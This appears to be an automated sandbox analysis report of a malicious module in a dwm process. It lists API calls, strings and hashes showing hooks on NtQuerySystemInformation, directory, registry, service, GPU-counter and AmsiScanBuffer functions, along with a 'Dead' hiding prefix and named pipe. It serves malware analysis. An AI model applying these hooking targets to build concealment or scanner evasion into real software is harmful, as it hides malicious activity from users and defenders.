GetLastError.KERNEL32 ref: 000002BAAF2204F2

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction ID: 26e92c23cfc63e0f224c8de2eef51c3944d80d5177babec700e58e84c4514a43
Opcode Fuzzy Hash: fb55a000834c869af8142d397673ad88ba24b52852e229f6c97767c338bfc2c2
Instruction Fuzzy Hash: 20E11273B14B808AE714CF64D4A82DD7BB1F3447C8F148216DE5A97B99EB39C41AC711

Function 000002BAAF1EB150 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 165COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAF1EB180

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000002BAAF1EB503
*?, xrefs: 000002BAAF1EB1A7

Memory Dump Source

Source File: 00000010.00000003.1817613500.000002BAAF1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_2baaf1e0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *?$HIJKLMNOPQRSTUVWXYZ
API String ID: 3215553584-1407779936
Opcode ID: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction ID: 55b62b567fa26138a0f9498a4bc91ff7098edf7196ff50c9a47d77eb3b0ecbd2
Opcode Fuzzy Hash: 0f32a7f2b4fad7165c24a511c7a5f2eb758ad1cabc3439966c459bfc2effdee2
Instruction Fuzzy Hash: 4151F26371079485EF18CFA2D8486AD3BB1FB58BD8F444526EF0987B89DB3AC041C321

Function 000002BAAF211D3C Relevance: 31.6, APIs: 1, Strings: 17, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAF211D47

Part of subcall function 000002BAAF2120C0: GetModuleHandleA.KERNEL32(?,?,?,000002BAAF211D79), ref: 000002BAAF2120D8
Part of subcall function 000002BAAF2120C0: GetProcAddress.KERNEL32(?,?,?,000002BAAF211D79), ref: 000002BAAF2120E9

Part of subcall function 000002BAAF215F50: GetCurrentThreadId.KERNEL32 ref: 000002BAAF215F8B

Strings

NtEnumerateKey, xrefs: 000002BAAF211DE1
NtQuerySystemInformation, xrefs: 000002BAAF211D6D
ntdll.dll, xrefs: 000002BAAF211D55
advapi32.dll, xrefs: 000002BAAF211E1F, 000002BAAF211E40
PdhGetFormattedCounterArrayW, xrefs: 000002BAAF211EB9
amsi.dll, xrefs: 000002BAAF211EE1
NtQueryDirectoryFile, xrefs: 000002BAAF211DA7
EnumServiceGroupW, xrefs: 000002BAAF211E18
sechost.dll, xrefs: 000002BAAF211E61
pdh.dll, xrefs: 000002BAAF211E9F, 000002BAAF211EC0
NtEnumerateValueKey, xrefs: 000002BAAF211DFE
NtResumeThread, xrefs: 000002BAAF211D8A
EnumServicesStatusExW, xrefs: 000002BAAF211E39, 000002BAAF211E5A
PdhGetRawCounterArrayW, xrefs: 000002BAAF211E98
NtQueryDirectoryFileEx, xrefs: 000002BAAF211DC4
AmsiScanBuffer, xrefs: 000002BAAF211EDA
NtDeviceIoControlFile, xrefs: 000002BAAF211E7E

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: AmsiScanBuffer$EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$PdhGetFormattedCounterArrayW$PdhGetRawCounterArrayW$advapi32.dll$amsi.dll$ntdll.dll$pdh.dll$sechost.dll
API String ID: 4175298099-4225371247
Opcode ID: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction ID: 21b25b163118572548bccb4b7d857d1436b4f136c2fe903d6f458356e84ab4c3
Opcode Fuzzy Hash: 4705abceb593070c5488a5deecb4e4079e35b8c621484f12281ef43e977e1bc4
Instruction Fuzzy Hash: D04192B3111A4AA0FE0CEBA9E87A7D83335A714344F805453A409C75B5DF3A828EC77B

Function 000002BAAF2112BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAF211319
GetProcessHeap.KERNEL32 ref: 000002BAAF211327
HeapAlloc.KERNEL32 ref: 000002BAAF211338
RegEnumValueW.ADVAPI32 ref: 000002BAAF211397

Part of subcall function 000002BAAF21152C: StrCmpIW.SHLWAPI ref: 000002BAAF21155D

GetProcessHeap.KERNEL32 ref: 000002BAAF2113DF
HeapAlloc.KERNEL32 ref: 000002BAAF2113ED
GetProcessHeap.KERNEL32 ref: 000002BAAF21140A
HeapFree.KERNEL32 ref: 000002BAAF211418
lstrlenW.KERNEL32 ref: 000002BAAF211421
GetProcessHeap.KERNEL32 ref: 000002BAAF21142F
HeapAlloc.KERNEL32 ref: 000002BAAF21143D
StrCpyW.SHLWAPI ref: 000002BAAF21145F
GetProcessHeap.KERNEL32 ref: 000002BAAF211476
HeapFree.KERNEL32 ref: 000002BAAF211484

Strings

d, xrefs: 000002BAAF21135A

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction ID: 4d986bfbe53463785bc2cce0d8d9cff0304497693efb45bc83489287b5bcd976
Opcode Fuzzy Hash: d31796d830b779bd35019739cbc6c4046c19c366aaa5f759b56b231691e58326
Instruction Fuzzy Hash: 3E513933200B8486EB28CF62E46C39AB7B5F788F98F048124DA4987768DF3DC459CB55

Function 000002BAAF1E6D30 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAF1E6D58
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAF1E6DAA
_RTC_Initialize.LIBCMT ref: 000002BAAF1E6DD8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAF1E6DFE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAF1E6E29

Strings

bad array new length, xrefs: 000002BAAF1E6E5B

Memory Dump Source

Source File: 00000010.00000003.1817613500.000002BAAF1E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAF1E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_3_2baaf1e0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: d78dc888d663f9f8e096334c887be32059b8155763ef9f3c124063d80c251090
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: B081AF3361034186FA5CAB65D8493B97FF0AB55780F844127AB59C379ADB3BC842D732

Function 000002BAAF212FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002BAAF212FF5
GetProcessHeap.KERNEL32 ref: 000002BAAF21300A
HeapAlloc.KERNEL32 ref: 000002BAAF213018
PdhGetCounterInfoW.PDH ref: 000002BAAF21302E
StrCmpW.SHLWAPI ref: 000002BAAF213043

Part of subcall function 000002BAAF213558: StrCmpNW.SHLWAPI ref: 000002BAAF21357A
Part of subcall function 000002BAAF213558: StrStrW.SHLWAPI ref: 000002BAAF213594
Part of subcall function 000002BAAF213558: StrToIntW.SHLWAPI ref: 000002BAAF2135BB

GetProcessHeap.KERNEL32 ref: 000002BAAF213080
HeapFree.KERNEL32 ref: 000002BAAF21308E

Strings

\GPU Engine(*)\Running Time, xrefs: 000002BAAF21303C

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: 827ca727855c6dfb9561eb47bc0c1bff2908194ac9db9ba34932d71fc10b52df
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 8331C133A00A4096EB38CF22A82C35AB3F1F798B85F444124DE4D83624DF39C91AC759

Function 000002BAAF2130B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 000002BAAF21310E
GetProcessHeap.KERNEL32 ref: 000002BAAF21311F
HeapAlloc.KERNEL32 ref: 000002BAAF21312D
PdhGetCounterInfoW.PDH ref: 000002BAAF213143
StrCmpW.SHLWAPI ref: 000002BAAF213158

Part of subcall function 000002BAAF213558: StrCmpNW.SHLWAPI ref: 000002BAAF21357A
Part of subcall function 000002BAAF213558: StrStrW.SHLWAPI ref: 000002BAAF213594
Part of subcall function 000002BAAF213558: StrToIntW.SHLWAPI ref: 000002BAAF2135BB

GetProcessHeap.KERNEL32 ref: 000002BAAF213185
HeapFree.KERNEL32 ref: 000002BAAF213193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 000002BAAF213151

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: 604fd7156905f951336c0376af5a9734d39e2e733c553a5a6a098d33176ff5bb
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: 6131AD73610B4186FB28DF66A86C75A73B2F784F84F044125DE4A83724DF39C80AC719

Function 000002BAAF212C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002BAAF212CB8
GetProcAddress.KERNEL32 ref: 000002BAAF212CCD
StrCmpNIW.SHLWAPI ref: 000002BAAF212D10
lstrlenW.KERNEL32 ref: 000002BAAF212E39

Strings

\Device\Nsi, xrefs: 000002BAAF212D03
ntdll.dll, xrefs: 000002BAAF212CB1
NtQueryObject, xrefs: 000002BAAF212CC3

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: 769e84a2c9f4a1d4c88bca80880055d21e2f1b8f387a042d7e45c9afeb02fba2
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 79A1D037201A9082EF6C8F25D4283AA73B5F754B84F14402AEE4993BD8DF36DC49C369

Function 000002BAAF21104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAF2110B1
RegEnumValueW.ADVAPI32 ref: 000002BAAF211117
GetProcessHeap.KERNEL32 ref: 000002BAAF21115C
HeapAlloc.KERNEL32 ref: 000002BAAF21116A
GetProcessHeap.KERNEL32 ref: 000002BAAF211187
HeapFree.KERNEL32 ref: 000002BAAF211195

Strings

d, xrefs: 000002BAAF2110D6

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: 17b7c67a4659a1ee2ea207a4b9d2a1f744c0001ed1848a17b59a3d6ea6580b49
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: 7A41A133210BC0C6EB64CF62E45839EB7B5F388B88F448129DA8947B58DF39C949CB15

Function 000002BAAF212344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002BAAF212359
GetCurrentProcessId.KERNEL32 ref: 000002BAAF212363
CreateFileW.KERNEL32 ref: 000002BAAF212394
WriteFile.KERNEL32 ref: 000002BAAF2123BC
ReadFile.KERNEL32 ref: 000002BAAF2123DB
CloseHandle.KERNEL32 ref: 000002BAAF2123E4

Strings

\\.\pipe\Deadchildproc, xrefs: 000002BAAF212375

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 5569d143b3704276fc45ae845523955183690dd4a9a822bfaed84a14c2286337
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: C5115E32618B4083F7248B21F46875A7770F389BE4F544315EA5A46BA8CF3DC54DCB25

Function 000002BAAF217930 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAF217958
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAF2179AA
_RTC_Initialize.LIBCMT ref: 000002BAAF2179D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAF2179FE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAF217A29

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: caeccb32e2cdfb1f0617440fb68d376f8d3dfeb23e3626373eeddf6c39776d90
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: E381BF3360424186FF6CAB2594B939A73B0A7C5BC0F544515AA09C7796DB3BCA4DC33E

Function 000002BAAF219930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,000002BAAF219AEF,?,?,?,000002BAAF2198B4,?,?,?,?,000002BAAF2194A5), ref: 000002BAAF2199B5
GetLastError.KERNEL32(?,?,?,000002BAAF219AEF,?,?,?,000002BAAF2198B4,?,?,?,?,000002BAAF2194A5), ref: 000002BAAF2199C3
LoadLibraryExW.KERNEL32(?,?,?,000002BAAF219AEF,?,?,?,000002BAAF2198B4,?,?,?,?,000002BAAF2194A5), ref: 000002BAAF2199ED
FreeLibrary.KERNEL32(?,?,?,000002BAAF219AEF,?,?,?,000002BAAF2198B4,?,?,?,?,000002BAAF2194A5), ref: 000002BAAF219A33
GetProcAddress.KERNEL32(?,?,?,000002BAAF219AEF,?,?,?,000002BAAF2198B4,?,?,?,?,000002BAAF2194A5), ref: 000002BAAF219A3F

Strings

api-ms-, xrefs: 000002BAAF2199D5

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: a6bf6a94eddea89105b30db477d3daf9bee51736b7a005d7bcaf928fcac1f8de
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: E731C63335274091FE29DB02A82879973B8F748BA4F590625DD2D8B394DF39C54DC36A

Function 000002BAAF221CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAF221CED
GetLastError.KERNEL32 ref: 000002BAAF221CF9
CloseHandle.KERNEL32 ref: 000002BAAF221D11
CreateFileW.KERNEL32 ref: 000002BAAF221D3C
WriteConsoleW.KERNEL32 ref: 000002BAAF221D5B

Strings

CONOUT$, xrefs: 000002BAAF221D1D

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: d0121da0eac36c6efb4a23c022dbfb35ac3b5afc2c8f350cd7495394a21f5874
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 1F118C32314B8086E7649B52F868719B3B0F788FE4F544225EA5EC77A4CF7AC908C761

Function 000002BAAF2131C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAF2131E3
HeapAlloc.KERNEL32 ref: 000002BAAF2131F6
StrCmpNIW.SHLWAPI ref: 000002BAAF213277
GetProcessHeap.KERNEL32 ref: 000002BAAF2132DD
HeapFree.KERNEL32 ref: 000002BAAF2132EB

Strings

Dead, xrefs: 000002BAAF213270

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: 9b4581ba7c1728fa510643aa63efff568e6099f6d452df6f50f91db6c1d52ff0
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: 4F31A033701B5182EA79AF56A86836977B1FB54B80F044020DF8883B54EF3ADCA9C719

Function 000002BAAF211934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002BAAF21195A
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAF211978
PathFindFileNameW.SHLWAPI ref: 000002BAAF211987
lstrlenW.KERNEL32 ref: 000002BAAF211993
StrCpyW.SHLWAPI ref: 000002BAAF2119A6
CloseHandle.KERNEL32 ref: 000002BAAF2119B4

Memory Dump Source

Source File: 00000010.00000002.3043801395.000002BAAF211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAF210000, based on PE: true

Associated: 00000010.00000002.3043750231.000002BAAF210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043868250.000002BAAF223000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043918151.000002BAAF22D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3043973225.000002BAAF22F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.3044026212.000002BAAF235000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2baaf210000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: 0bda700a449b738a7513a3e087965ece3026a7fc15e9c88ba9748331a614c350
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: 63016D32704A4082EB28DB12A46875973B5F788BC4F484134DE9D83754DF3EC949C769

Function 000002BAAF213B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002BAAF2136A8), ref: 000002BAAF213B2A
